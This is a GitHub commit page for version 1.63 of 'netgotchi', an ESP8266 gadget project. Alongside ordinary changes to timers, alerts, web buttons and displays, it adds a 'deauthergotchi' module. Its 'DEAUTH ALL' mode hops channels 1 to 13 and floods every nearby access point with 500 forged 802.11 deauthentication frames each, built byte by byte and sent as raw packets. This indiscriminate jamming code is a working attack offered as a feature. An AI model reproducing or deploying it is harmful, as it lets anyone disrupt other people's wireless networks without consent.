Skip to content

Commit

Permalink
v1.63
Browse files Browse the repository at this point in the history
+wip deauthergotchi
+time settings
+bugfixes
  • Loading branch information
mxzz committed Feb 10, 2025
1 parent 0eed087 commit 78599b1
Show file tree
Hide file tree
Showing 6 changed files with 213 additions and 16 deletions.
35 changes: 32 additions & 3 deletions netgotchi/ctrlgotchi.ino
Original file line number Diff line number Diff line change
@@ -1,8 +1,8 @@
#include <espnow.h>

String command[] = {"< ESPNOW RECEIVER >","< ESPNOW SENDER >", "< ON >", "< OFF >" , "< TIME 1min >", "< TIME 15min >", "< TIME 1h >", "< TIME 8h >", };
String command[] = {"< ESPNOW RECEIVER >","< ESPNOW SENDER >", "< ON >", "< OFF >" , "< TIMER 1min >", "< TIMER 15min >", "< TIMER 1h >", "< TIMER 8h >"," < ALERT REPEAT 1h>"," < ALERT REPEAT 30m>","< ALERT REPEAT 1m>" };
String ctrlmessage = "";
int commandLength=7;
int commandLength=11;
int ctrlselectedMode = 0;

String ctrlface = "(éwè)";
Expand All @@ -11,6 +11,8 @@ const long ctrlinterval = 3000; // timer at which to change the face
String ctrlstatus = "__";
bool remote_controlled_status=false;
unsigned long previousMillisctrl = 0;
unsigned long currentMillisAlert=0;
unsigned long previousMillisctrlAlert = 0;
bool ctrltimerstarted=false;

struct_message ctrlmyData;
Expand All @@ -21,6 +23,7 @@ Button2 ctrlloaderButtonA;
Button2 ctrlloaderButtonB;

long ctrltimer = 0;
long ctrltimerAlert = 3600000; //1h timer for repeating alert

void ctrlLeftButtonPressed(Button2 &btn) {
ctrlselectedMode--;
Expand Down Expand Up @@ -70,6 +73,18 @@ void ctrlAButtonPressed(Button2 &btn) {
{
ctrltimer=8*60 *60 * 1000;
}
if(ctrlselectedMode == 8)
{
ctrltimerAlert=3600000;
}
if(ctrlselectedMode == 9)
{
ctrltimerAlert=1800000;
}
if(ctrlselectedMode == 10)
{
ctrltimerAlert=60000;
}
}
void ctrlBButtonPressed(Button2 &btn) {
playTone();
Expand All @@ -81,7 +96,7 @@ void ctrlgotchi_setup()
{
WiFi.mode(WIFI_STA);

if (esp_now_init() != ERR_OK) {
if (esp_now_init() != 0) {
Serial.println("Error initializing ESP-NOW");
return;
}
Expand Down Expand Up @@ -140,6 +155,16 @@ void ctrlgotchi_loop()
ctrlstatus="LWR";

}

if(ctrlselectedMode == 8)
{
//repeating message
currentMillisAlert = millis();
if (currentMillisAlert - previousMillisctrlAlert >= ctrltimerAlert) {
crtlgotchi_sendMessage("CTRL:ALERT");
previousMillisctrlAlert= currentMillisAlert;
}
}
}

void crtlgotchi_loopFace() {
Expand Down Expand Up @@ -238,6 +263,10 @@ void crtlgotchi_updateDisplay() {
{
display.println("D0 timer - 8h");
}
if(ctrlselectedMode == 8)
{
display.println("ALERT each hour");
}

display.display();
}
Expand Down
156 changes: 150 additions & 6 deletions netgotchi/deauthergotchi.ino
Original file line number Diff line number Diff line change
@@ -1,20 +1,164 @@
//work in progress!
extern "C" {
#include "user_interface.h"
}

String deauth_command[] = {"< SCAN >", "< DEAUTH ALL>", "< STOP >" };

int deauth_selectedMode = 0;
int deauth_commandLength = 3;
Button2 deauth_ButtonLeft;
Button2 deauth_ButtonRight;
Button2 deauth_ButtonA;
Button2 deauth_ButtonB;
bool once = false;
bool deauth_showmenu = true;

void deauthergotchi_setup()
{
WiFi.mode(WIFI_STA);
WiFi.disconnect();
delay(100);
displayClearDisplay();
delay(500);
display.setTextSize(1);
display.setCursor(0, 5);
display.println("DEAUTHERGOTCHI");
display.println("");
display.println("Work in progress..");
display.println("Restarting...");
display.display();


deauth_ButtonLeft.begin(BTN_LEFT);
deauth_ButtonRight.begin(BTN_RIGHT);
deauth_ButtonA.begin(BTN_A);
deauth_ButtonB.begin(BTN_B);
deauth_ButtonLeft.setPressedHandler(deauth_LeftButtonPressed);
deauth_ButtonRight.setPressedHandler(deauth_RightButtonPressed);
deauth_ButtonA.setPressedHandler(deauth_AButtonPressed);
deauth_ButtonB.setPressedHandler(deauth_BButtonPressed);
}

void deauthergotchi_loop()
{
delay(5000);
ESP.restart();

if( deauth_showmenu)
{
display.clearDisplay();
display.setCursor(0, 5);
display.println("DEAUTHERGOTCHI (v_v)");
display.println(" ");
display.println(deauth_command[deauth_selectedMode]);
}
if( deauth_selectedMode ==0 && once)
{
scanAndDisplayNetworks();
once=false;
deauth_showmenu=false;
}
if( deauth_selectedMode ==1 && once)
{
scanNetworksAndDeauth();
once=false;
deauth_showmenu=false;
}

display.display();

deauth_ButtonLeft.loop();
deauth_ButtonRight.loop();
deauth_ButtonA.loop();
deauth_ButtonB.loop();
}


void deauth_LeftButtonPressed(Button2 &btn) {
deauth_selectedMode--;
if(deauth_selectedMode< 0 )deauth_selectedMode=deauth_commandLength-1;
}

void deauth_RightButtonPressed(Button2 &btn) {
deauth_selectedMode++;
if(deauth_selectedMode>=deauth_commandLength)deauth_selectedMode=0;
}

void deauth_AButtonPressed(Button2 &btn) {
//playTone();
once = true;
deauth_showmenu=false;
}
void deauth_BButtonPressed(Button2 &btn) {
//playTone();
deauth_showmenu=true;
}

void scanAndDisplayNetworks() {
int n = WiFi.scanNetworks();

display.clearDisplay();

if (n == 0) {
display.setCursor(0,0);
display.println("No networks found");
Serial.println("No networks found");
display.display();
return;
}

int linesPerScreen = SCREEN_HEIGHT / 10; // Calculate how many lines fit on the screen
for (int start = 0; start < n; start += linesPerScreen) {
display.clearDisplay();

for (int i = start; i < start + linesPerScreen && i < n; ++i) {
display.setCursor(0, (i - start) * 10);
display.print(i + 1);
display.print(": ");
display.print(WiFi.SSID(i));

}

display.display();
delay(1000); // Pause to allow reading of the current screen
}

display.display();

}

void scanNetworksAndDeauth() {
for (int channel = 1; channel <= 13; channel++) {
wifi_set_channel(channel);
int n = WiFi.scanNetworks();
display.clearDisplay();
display.setCursor(0,10);

display.println("Channel :"+String(channel)+" H:"+ String(n) );
display.display();

for (int i = 0; i < n; ++i) {
display.setCursor(0,20);
display.println("attack running:");
deauthClients(WiFi.BSSID(i));
delay(100);
display.display();
}
display.display();
delay(1000);
display.println("complete!");
delay(1000);
display.display();
}
}

void deauthClients(uint8_t *bssid) {
uint8_t packet[26] = {
0xC0, 0x00, // Frame Control: Deauthentication
0x3A, 0x01, // Duration
bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], // Destination MAC (BSSID)
bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], // Source MAC (BSSID)
bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], // BSSID
0x00, 0x00 // Sequence Number
};

for (int i = 0; i < 500; i++) { // Send multiple packets to ensure disconnection
wifi_send_pkt_freedom(packet, sizeof(packet), false);
delay(10);
}
}
6 changes: 6 additions & 0 deletions netgotchi/loader.ino
Original file line number Diff line number Diff line change
Expand Up @@ -29,13 +29,19 @@ void loaderSetup()
}

void rightButtonPressed(Button2 &btn) {
if(hasControlsButtons)
{
selectedMode++;
if(selectedMode>=availableModeLength)selectedMode=0;
}
}

void leftButtonPressed(Button2 &btn) {
if(hasControlsButtons)
{
selectedMode--;
if(selectedMode < 0)selectedMode=availableModeLength-1;
}
}

void AButtonPressed(Button2 &btn) {
Expand Down
12 changes: 7 additions & 5 deletions netgotchi/netgotchi.ino
Original file line number Diff line number Diff line change
Expand Up @@ -24,7 +24,7 @@
#include <WiFiManager.h> // Include the WiFiManager library
#include <Button2.h>

const float VERSION = 1.62;
const float VERSION = 1.63;

//Oled Screen Selectors
#define SCREEN_WIDTH 128
Expand All @@ -44,8 +44,7 @@ const float VERSION = 1.62;
#define BTN_A 2
#define BTN_B 0
//#define BUZZER_PIN 15 //for netgotchi pro
//#define BUZZER_PIN 13 //for netgotchis v2
#define BUZZER_PIN 13
#define BUZZER_PIN 13 //for netgotchis v2
#define EXT_PIN_16 16 // D0 on pro

#if oled_type_ssd1305
Expand Down Expand Up @@ -156,14 +155,13 @@ bool enableNetworkMode = true;
bool shouldSaveConfig = false;
bool useButtonToResetFlash = true;//false for netgotchi pro
bool hasControlsButtons = false; //true for netgotchi pro
bool skipLoader=true; //false for netgotchi pro
bool debug = true;
bool headless = true;
bool hasDisplay = true;
bool carouselMode = true;
bool scheduledRestart = false;
bool settingMode = false;
bool skipLoader=true;

bool securityScanActive = true;
bool skipFTPScan = true;
int vulnerabilitiesFound = 0;
Expand Down Expand Up @@ -254,8 +252,12 @@ static const char PROGMEM pagehtml[] = R"rawliteral(
<button onclick="sendCommand('right')">Right</button>
<button onclick="sendCommand('A')">A</button>
<button onclick="sendCommand('B')">B</button>
<br>
<button onclick="sendCommand('ON')">PIN ON</button>
<button onclick="sendCommand('OFF')">PIN OFF</button>
<br>
<button onclick="sendCommand('TIMEPLUS')">TIME+</button>
<button onclick="sendCommand('TIMEMINUS')">TIME-</button>
</div>
<p>Hosts</p>
<button onclick="getHosts()">Get Hosts Datas</button>
Expand Down
12 changes: 11 additions & 1 deletion netgotchi/network.ino
Original file line number Diff line number Diff line change
Expand Up @@ -82,7 +82,17 @@ void networkInit()
});
server.on("/command/OFF", HTTP_GET, [](){
lowerPinVoltage();
server.send(200, "text/plain", "ON command received");
server.send(200, "text/plain", "OFF command received");
});
server.on("/command/TIMEPLUS", HTTP_GET, [](){
timeOffset+=3600;
timeClient.setTimeOffset(timeOffset);
server.send(200, "text/plain", "Hour+ command received");
});
server.on("/command/TIMEMINUS", HTTP_GET, [](){
timeOffset-=3600;
timeClient.setTimeOffset(timeOffset);
server.send(200, "text/plain", "Hour- command received");
});

server.begin();
Expand Down
8 changes: 7 additions & 1 deletion netgotchi/textgotchi.ino
Original file line number Diff line number Diff line change
Expand Up @@ -8,6 +8,8 @@ String face = "(=*w*=)";
unsigned long textgotchipreviousMillis = 0;
const long textgotchinterval = 3000; // textgotchinterval at which to change the face
String textgotchistatus = "__";
unsigned long previousMessageRecTime = 0;


struct_message myData;

Expand Down Expand Up @@ -39,7 +41,7 @@ void textgotchi_setup()
{
WiFi.mode(WIFI_STA);

if (esp_now_init() != ERR_OK) {
if (esp_now_init() != 0) {
Serial.println("Error initializing ESP-NOW");
return;
}
Expand Down Expand Up @@ -118,6 +120,7 @@ void OnDataRecv(uint8_t *mac, uint8_t *incomingData, uint8_t len) {
memcpy(&myData, incomingData, sizeof(myData));
textreceivedMessage = String(myData.text);
Serial.println("Serial message received: " + textreceivedMessage);
previousMessageRecTime = millis(); // time of last recv message
playTone(); // Play tone when a new message is received
}

Expand All @@ -132,6 +135,9 @@ void updateDisplay() {
display.println(textreceivedMessage);
display.print("Sent: ");
display.println(textmessage);
int secago=(millis() - previousMessageRecTime )/1000;
display.setCursor(60, 55);
display.print(" ("+String(secago) + "s ago)");

// Display keyboard at the bottom

Expand Down

0 comments on commit 78599b1

Please sign in to comment.